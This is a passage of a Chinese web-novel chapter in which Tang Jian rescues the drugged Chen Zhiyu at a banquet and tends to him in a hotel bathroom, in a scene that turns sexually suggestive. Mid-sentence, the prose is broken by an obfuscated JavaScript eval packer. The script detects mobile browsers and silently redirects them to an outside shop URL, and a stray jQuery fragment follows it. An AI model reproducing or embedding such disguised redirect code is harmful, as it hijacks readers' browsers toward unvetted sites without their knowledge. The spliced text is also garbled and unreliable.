“怎么了呀?”
“有点事,下次再聊。”唐简扔下这句话,大步走向甜品台。
她很清楚,陈至屿不在这边了。
她站在原地,罕见地感受到慌乱的情绪。
“谁啊,把蛋糕放边上,差点就倒在我裙子上了。”女人轻声的抱怨传入耳朵。
唐简循声望去,桌子边缘的草莓蛋糕刚被人往里推了些。
草莓水嫩鲜艳的红色映入眼底,唐简猛地扭头看向宴会厅出口。这个位置恰好能看见远处出口一男一女左右架着男人的身影。
被架着走远的男人扭着头看着她,唐简看不清他的表情,只能看见他苍白的肤色。
唐简定在原地,直到三人的身影消失在转角的位置。
“看什么呢!”陈至屿的脑袋被人强硬地掰回来。
陈至屿还有些清醒,唐简的样子好像还在眼前,他知道她看见他了。
她端着酒杯一动不动的,看见了……还是没有……
为什么不来找他……
唐简,我的世界里不知道什么时候开始就全部都是你了,为什么……
他嘴唇动了动,已经没力气出声了,“唐简……”
唐简……唐简……唐简!
为什么啊……
垂在胸前的黑发被风吹到脑后,唐简拎起裙摆快步跑着,她很久没这么运动过了。
急促的心跳声和耳边的风声在宣告她计划的失败。
意识正在被药物侵蚀,陈至屿思考不了太多,脑海里反反复复翻来覆去都是:“唐简,唐简,唐简……”
唐简,别丢下我可以吗?
眼前浮浮沉沉的黑灰色突然闯入一道刺眼的白色,突兀到让人移不开视线。
“唐……简……”
我好难受,我不舒服,好热……
他无力地垂下脑袋,一滴泪水悄然坠落,四分五裂地碎在地上。
唐简一手拽着裙摆,气还没喘匀,挡在三人面前冷声道:“他是我的人,没经过我允许还想带走他?”
一男一女显然是认识她的,两人对视着,眼珠子滴溜溜转。
“我话不说第二遍,要是唐珍斗得过我,干嘛让你俩来呢?”
“现在把他还给我,我不会追究。”唐简说完伸手去付陈至屿,顺利无比毫无阻碍地接到他。
“哈哈哈,真不好意思,找错人了。”一男一女扯出个笑脸,快步离开。
唐简面无表情地冲两人的背影翻了个白眼,不得不说陈至屿分量真重,等她带着他从另一出口回到酒店。
刚出电梯,她后背已经出了一层薄汗,更别提陈至屿靠着她脖子的那一部分皮肤了。
粘腻的感觉让她现在只想洗澡。
“唐简……是你……”像是呓语般,陈至屿滚烫的气息落在她脖颈最薄的皮肤上。
唐简懒得理他,现在她热得很,陈至屿此时跟滚烫无比的热水袋一样,烫人的温度透过层层布料到达她的脖子、手臂、身体。
“唐简……”
她无声叹了口气,伸手推了一把他烫人的脑袋。
于是两人十分轻松地倒向一边,陈至屿夹在唐简和墙壁中间,难受地唔了一声。
自己到底是怎么了?!
唐简今晚第无数次发出这个疑问,自己此时怎么会在这走廊里拽着个大男人跌跌撞撞地往房间走!
真是疯了。
唐简靠在门边,费力地在陈至屿的外套里翻出房卡。
“滴——”
终于。
一进门,唐简往一旁一闪,陈至屿没了支撑,整个人软软地倒在玄关的地毯上。
唐简关上门,拿出手机想打电话,耳边隐隐的轰隆声打断她的动作。
她快步跑到窗边,一把拉开窗帘,瞬间明亮的天空照亮她额头细密的汗珠。
豆大的雨点砸在玻璃上,砸得唐简眼皮直跳。
打雷的暴雨天让她有种危机感,好像又回到那个无助恐怖的夜晚,冰冷的雨水将温热的血液冲散,也将她们一家人冲散了。
明明热出汗了,她还是下意识打了个寒颤,颤抖着手拨通电话。
挂断电话,唐简深吸一口气,精致的妆容也难掩难看的脸色,她拿过边几上的皮筋,迅速扎好零乱的黑发,这才回过神看向倒在玄关的人。
他面上浮现出旖旎的红色,不知道什么时候扯下了领带解开了纽扣,此时胸口大块皮肤裸露在外,是淡淡的粉色。
有一瞬间,唐简怀疑自己出现了故障,一台按照编程工作的机器人有一天出现了会扰乱后续工作的BUG。
她早就该果断,视而不见地放弃他才对。
“唐简……”滚烫的大手猛地握住她的脚踝,唐简吓了一跳,下意识后退却被禁锢在原地。
她哀叹一声,“造孽啊……”
随即认命般弯下腰,高跟鞋阻碍她动作,脱完往边上一扔继续拽着他的衣领将人往浴室拖。
唐简真是使出了吃奶的劲,幸好陈至屿还有点意识,不然等人烧死了还没到。
看他异样的脸色,唐简来不及喘气,粗暴地拽掉他的外套,将剩下的衬衫纽扣一把扯开,将水温调到最低,打开淋浴头。
冰冷的水从陈至屿脑袋上方往下冲,唐简这才松了口气,顾不上太多,一屁股坐在地上。
有了冷水的冲淋,陈至屿急促的喘气声缓和了一些,反而是一旁瘫坐在地上的唐简喘得更加厉害。
光看眼下的情形,唐简觉得自己也跟被下药了似的。
缓了好一会,唐简才挪过去看他的情况。
冷水有点作用,但他的脸还是呈现异常的红色,脑袋后仰靠着墙,张着嘴小口小口地喘气,水流从胸口冲刷而下,半透明的衬衫凌乱地贴在皮肤上。
怎么感觉怪怪的呢?
唐简视线在他红润的嘴唇上停了两秒,伸手用力拍拍他的脸,“陈至屿,你好点没?”
对方轻哼了声,半睁开眼,似乎想确认眼前的人是谁,确认完毕又闭着眼,用烫人的脸颊来回蹭她的手,“唐简,我好难受……”
“我知道我知道,”唐简皱着眉看了眼他湿透的西裤,捧着他的脸轻哄道:“你再忍忍,等雨小一点我就让司机送你走好吗?雨太大了很危险的。”
陈至屿缓缓喘
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17638181|206455||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
了口气,轻声应道:“好。”
唐简紧皱的眉头丝毫没有松懈的意思,陈至屿的情况比她当时严重地多,她起身关掉淋浴头,再次拨通电话。
“利多姐,我朋友中了上次那个药,现在暂时去不了医院,有没有其他办法可以缓解的?”
“你朋友男的女的?”
“男的。”
“等等,你身边居然有异性的出现了?”对方很快接着说下去,“不会是你那位先生吧?”
唐简不想继续遮掩,嗯了一声。
“是男性的话这个好办,让他自己纾解一下,既然是你先生,你帮忙也可以啊,上次那个药没什么副作用的,保险起见晚点去医院检查一下也行。”
自己纾解?
唐简愣了下,随口应了两声挂了电话。
看了眼面色绯红的某人,没了冷水的冲淋,胸口起伏的弧度更大了。
唐简拍了拍他的脸,对方没什么反应,她只好更加用力地拍了几下,对方才费力地睁开眼睛,嘴唇动了动。
“你要说什么?”她将耳朵凑到他嘴边。
“唐简……”
……
唐简撇嘴,凑到他耳边大声说:“陈至屿!现在你自己解决一下,听得清楚吗?”
对方嘤咛一声,撑着手似乎想调整姿势,才刚伸手就无力地歪向一旁。
唐简被他猛地一靠,重心一歪,仰倒在地上。陈至屿的脑袋刚好砸在她锁骨的位置,她倒吸一口凉气,用力推了他一把,没推动。
这个动作反而让陈至屿的嘴唇重重擦过她的锁骨。
“大哥啊,我真服了你了!”她用力地拍陈至屿的侧脸,直到他清醒了,自己坐起来。
唐简看着侧脸红肿的陈至屿,一时无言,过了会才碰碰他的脸,讪笑道:“对不起啊,不是故意的。”
“唐简。”
陈至屿抬手握住她的手腕,抓着她的手来回摩挲自己的脸颊,又顺着脸侧滑到脖颈。
……
“我真错了大哥,就不该找你的,我承认之前有过歪心思,但是后来没有了,现在倒好,你打乱我的计划,还要我为你忙前忙后,你是我的报应吗大哥?”唐简看了眼自己被挟持的手,“真服了,左看右看都感觉你在勾引我。”
“唐简,我好热,我不舒服……”陈至屿的声音染上哭腔,一滴眼泪停在眼尾要落不落地看着她。
“哈?”唐简意味不明地看了他一眼,用自由的那只手解开他的皮带,“大哥,现在请您自己解决一下!”
对方红着脸傻呆呆地看着她不说话,胸口剧烈地起伏着。
“不会傻了吧?”唐简嘟囔一声,再次打开淋浴头,“那我送佛送到西?”
曾几何时,唐简还是很有求知欲的。
陈至屿突然轻哼了一声,不知道是难受还是舒服,骨节都泛红的手摁住她富有探索欲的手。
不让碰?那好吧。
唐简想要收回的手又被摁住。
什么意思啊这是?
她想了想,觉得还是要询问一下他的意见。
“陈至屿,你愿意让我玩你吗?”